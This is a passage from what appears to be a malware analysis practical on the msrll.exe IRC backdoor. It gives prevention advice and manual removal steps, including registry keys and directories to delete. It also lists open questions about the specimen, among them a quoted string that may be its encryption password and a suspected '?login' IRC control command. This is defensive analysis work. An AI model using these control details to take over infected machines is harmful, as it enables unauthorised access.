The most important way of protecting a system from being infected with msrll.exe would be to use good virus protection software with current signature data files. When running Windows ME or XP, the System Restore must be disabled to allow full scanning of infected systems.

Secondly, firewall protection that requested whether outbound traffic was valid before permitting it, may catch any IRC outbound requests made by msrll.exe. If someone was an avid IRC user, this might not be as helpful. However, unsolicited inbound traffic should be stopped by the firewall, which would protect access to the back door port.

The best way to remove msrll.exe from an infected system would be to reboot the computer in “safe mode.” This would ensure no network connectivity and that no sessions were connected with msrll.exe.

It would be important to make sure that the msrll.exe process was not running by checking the Task Manager. If it were running, it could be terminated with the following steps:

1. On Windows 95, 98, and ME, open the Windows Task Manager by pressing CTRL+ALT+DELETE. On Windows NT, 2000, and XP, press CTRL+SHIFT+ESC.
2. Select the “Processes” tab.
3. In the list of running programs, find and highlight MSRLL.EXE.
4. Press the “End Task” or “End Process” button.
5. Ensure that the “msrll.exe” process has been killed by closing the Task Manager, and then open it again to refresh all process information.
6. Close the Task Manager.

If the Windows Task Manager does not show the msrll.exe process, other process viewers could be used to terminate the malware process.

Removing entries from the registry:

Removing the services entries from the registry prevents msrll.exe running when the computer boots:

1. Open the Registry editor by clicking “Start” then “Run.” Type REGEDIT and press the Enter key.
2. In the left panel, locate and delete the following entries:
   - HKEY_LOCAL_MACHINE>System>CurrentControlSet>Services>mfm
   - HKEY_LOCAL_MACHINE>System>ControlSet001>Services>mfm
   - It would also be wise to check for entries in other ControlSets such as:
     HKEY_LOCAL_MACHINE>System>ControlSet002>Services>mfm
HKEY_LOCAL_MACHINE>System>ControlSet004>Services>mfm

Searching for "mfm" with the Search function in Regedit may help facilitate this.

3. Close the Registry editor.

Removing directories and files:

1. Right click on the “Start” button, Left click on "Explore."
2. Delete the mfm directory created by msrl.exe, usually found in
   C:\Windows\System on Windows 95, 98 and ME, C:\WINNT\System32 on
   Windows NT and 2000, and C:\Windows\System32 on Windows XP.
3. Close Explorer window.

Unresolved questions:

The jtram.conf file contained settings, not all of which were understood:

1. The jtr.id which was pre set to “run5.” The function or purpose is unknown.
2. The “pass” variable was pre set to an encrypted hash and it was suspected to be
   the password used when authenticating from an IRC channel. However, this was
   conjecture. Its real function is unknown.
3. Can the encrypted ciphertext in jtram.conf be decrypted? The right components,
   password, seed, etc., may possibly be obtained from msrl.exe. The string
   "DiCHFc2oiVmb3cb4z7zWZH1oM=" was seen to be closely associated with the
   encryption process and may be the password.

Msrl.exe commands:

1. Several commands did not appear to perform. Their exact purpose is still
   unknown.

IRC channel communication:

1. It was highly suspected that the msrl.exe “bots” could be authenticated to, and
   controlled from, an IRC channel. This was not confirmed, however, only
   conjectured.
2. The ?login command was suspected to be the main mechanism for IRC
   authentication. This was not confirmed, however, only conjectured.

In summary, the purpose of this practical was to demonstrate the analytical process and
methodology involved in analyzing an unknown malware specimen. A thorough review
of the specimen provided an over-all understanding of the function, purpose, and
capabilities of the malware.
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